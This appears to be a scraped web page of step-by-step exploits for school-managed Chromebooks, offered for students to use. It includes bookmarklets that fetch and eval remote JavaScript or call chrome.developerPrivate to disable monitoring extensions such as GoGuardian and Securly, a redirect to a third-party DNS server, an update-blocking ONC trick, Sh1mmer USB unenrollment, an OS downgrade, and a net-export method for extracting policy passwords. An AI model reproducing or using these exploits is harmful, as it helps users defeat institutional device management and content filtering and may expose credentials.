Scroll down to preform this exploit!

Getting started (Note: if bookmarklets are blocked your screwed.)

1. Go to here (on your school chromebook of course)
2. Make a bookmark with the code there.
3. Once that is done. If you have Securly go to here if it says blocked by chrome, reload(you have to actually have securly ofc) If you have iBoss go to here,

If you have Cisco Umbrella go to here If you have Blocksi go to here And if you have GoGuardian(might not work) go to here. Now most of these links are a block page(this is intentional) on each page should have a blue link, click the link on the page if it opens a blank page click the bookmarklet that you just made and click either hard disable or soft disable, you can also run some of the scripts and run your own code, your extension may disable javascript being ran on it, so running your own code may not work. Extra notes

• I recommend doing soft disable, which only disables it until restart.
• The launcher was made by me, but the idea was from Bypassi#7037
• If your school updated GoGuardian, this exploit may not work.

Please use this only when you have permisson, I (3kh0) do not condone the use of this exploit for illegal purposes!

Scroll down to preform this exploit!

Getting started

1. Go to chrome://network#state (on your school chromebook of course; if this is blocked then ur kinda screwed lol).
2. Scroll to the bottom of the page; you should see a list of "favorite" wifis that you've connected to in the past.
3. Click the + sign next to the wifi name of each network that you commonly connect your chromebook to.
4. The more wifis you expand, the better, but note that they have to come from the "favorites" section.
5. Use ctrl+a and ctrl+c to copy all the text on the entire network#state page.
6. Go to caub.glitch.me.
7. Paste the copied text into the textbox below.
8. Press the "generate onc" button below the textbox.
9. Once you have downloaded the file, go to chrome://network#general
10. Click on the "import onc" button
11. Import the newly downloaded file

Extra notes

• Your chromebook will no longer automatically update. (as long as you are on a wifi that you used caub on)
• Be careful not to stay on a wifi for too long without using caub on it, otherwise you might update.
• We cannot guarantee that this will work on every wifi

Please use this only when you have permisson, I (3kh0) do not condone the use of this exploit for illegal purposes!

Please Note: This exploit only works on versions below 106, and eariler versions of 102

The origional site created for this exploit can be found at ltbeef.netlify.app

Instlation
There are several vesions of thisexploit you can use, here are the 2 most common versions:

• Bookmarklets
  To use a GUI, bookmark one of the below scripts:

  • Ingot

  javascript:(function () {var a = document.createElement('script');a.src = 'https://cdn.jsdelivr.net/gh/FogNetwork/Ingot/ingot.min.js';document.body.appendChild(a);}())

  • Compact Cow's UI

  javascript:fetch(`https://compactcow.com/ltbeef/exploit.js`).then(data=>{data.text().then(text=>{eval(text)})});

  Navigate to https://chrome.google.com/webstorex and click on that bookmark. Flip the switches on the extentions you want to disable. Simple!

  Photos of the GUI's:

• DNS servers
  By changing your DNS server, you can use LTBEEF, even if bookmarklets are blocked.

  First, go to Settings > Network > Wifi > Network, and click on "Custom Name Servers"
  Set every box there to the following ip:
  158.101.114.159 (Hosted by The Greatest Giant#0110)
  Navigate to https://chrome.google.com/webstorex and click on that bookmark. Flip the switches on the extentions you want to disable.

Please use this only when you have permisson, I (3kh0) do not condone the use of this exploit for illegal purposes!

1. Bookmark this code:

javascript:let shim = false;var ids = prompt("extension ids (comma separated)").split(",");setInterval(()=>{ids.forEach((id)=> opener.chrome.developerPrivate.updateExtensionConfiguration({extensionId: id, fileAccess: shim}));shim = !shim;}, 145);

2. Navigate to chrome://extensions
3. Click on a extension that YOU installed from the Chrome Web Store > Details
4. In the URL bar, copy the string of letters and numbers after the /?id=
5. Click "View in Chrome Web Store" and spam the excape key. If it loads into chrome webstore try again, if it is a blank screen click the bookmarklet
6. Paste the id of the extension into the prompt. If you close the tab, the exploit will stop working.

Please use this only when you have permisson, I (3kh0) do not condone the use of this exploit for illegal purposes!

PLEASE FOLLOW EVERY DIRECTION! If you do not, you could brick your chromebook.

More info: https://sh1mmer.me/

• FAQ: https://sh1mmer.me/faq.html
• Credits: https://sh1mmer.me/faq.html

This exploit works quite like downgrading, but requires a few more steps.
Requirements

• A USB with atleast 16gbs
• A personal computer

Setup

1. Navigate to chrome://version on the chromebook you with to downgrade and check for your board under "Platform" (ex I have a c3100 and it's board is stable-channel octopus)

2. Make sure your board is in this list: brask, brya, clapper, coral, dedede, enguarde, glimmer, grunt, hana, hatch, jacuzzi, kukui, nami, octopus, orco, pyro, reks, sentry, stout, strongbad, tidus, ultima, volteer, zork If it is not, then this exploit will not work.
3. On your personal computer, download the corresponding shim from the SH1MMER file mirror pick crew if you are not advanced
4. Install Chromebook Recovery Utility onto your personal computer (found at https://chrome.google.com/webstore/detail/chromebook-recovery-utili/pocpnlppkickgojjlmhdmidojbmbodfm?hl=en
5. Open the extention, and click on the settings button in to top right hand corner, click "use local image"

6. Select the .bin file you downloaded
7. Click the blue button
8. Wait

Instlation

1. Enter recovery mode on your Managed Chromebook. This is done by pressing the power button, reload key (↻), and esc key at the same time. Your screens should look like the image below:

2. Press ctrl+d, then enter
3. It will now say something about "returning to secure mode" or that "OS verification is off", this means ou are ready to boot Sh1mmer. It will look the like the images below:

4. Press the power button, reload key (↻), and esc key at the same time again.
5. Plug your shimmed USB into your Chromebook, and press the power button, reload key (↻), and esc key again.

6. Navigate to "Payloads", then click on "Unenroll"
7. Nagigate back to the pain page, and click "Reboot"

Enjoy your new, unenrolled chromebook!

Please use this only when you have permisson, I (3kh0) and Mercury Workshop do not condone the use of this exploit for illegal purposes!

Requirements

1. A USB thumb drive with at least 4gb of storage, some board have small or bigger images, so have a beef usb, I recommend 16gb
2. A personal computer with access to downloading extentions
3. A brain

Setup

1. Navigate to chrome://version on the chromebook you with to downgrade and check for your board under "Platform" (ex I have a c3100 and it's board is stable-channel octopus)

Instlation

1. Install Chromebook Recovery Utility onto your personal computer (found at https://chrome.google.com/webstore/detail/chromebook-recovery-utili/pocpnlppkickgojjlmhdmidojbmbodfm?hl=en
2. Open the extention, and click on the settings button in to top right hand corner, click "use local image"
3. Select the recovery image you downloaded from chrome100
4. Plug in the USB you wish to use, and follow the prompts on the screen
5. On your chromebook, press esc+reload+power and follow the prompts
6. On the checking for updates screen, press ctrl+shift+e to skip the "checking for updates" screen
7. Profit

Please use this only when you have permisson, I (3kh0) do not condone the use of this exploit for illegal purposes!

1. Visit chrome://settings/signOut the O in Out must be capital.
2. Press the blue button
3. Go to chrome://restart
4. Everything should be unblocked

Using this, may get your computer taken away if your school finds out. This was discoverered by zoroark Please use this only when you have permisson, I (3kh0) do not condone the use of this exploit for illegal purposes!

This tool should not be used for illegal activity. By using this tool, you acknowledge that you are legally allowed to extract the password(s) in question.

1. Visit chrome://net-export
2. In "OPTIONS" set "Include raw bytes"
3. Click "Start Logging to Disk"
4. Visit chrome://policy
5. Click "Reload policies"
6. Go back to chrome://net-export and click "Stop logging"
7. Upload file here!
8. Profit

Please use this only when you have permisson, I (3kh0) do not condone the use of this exploit for illegal purposes!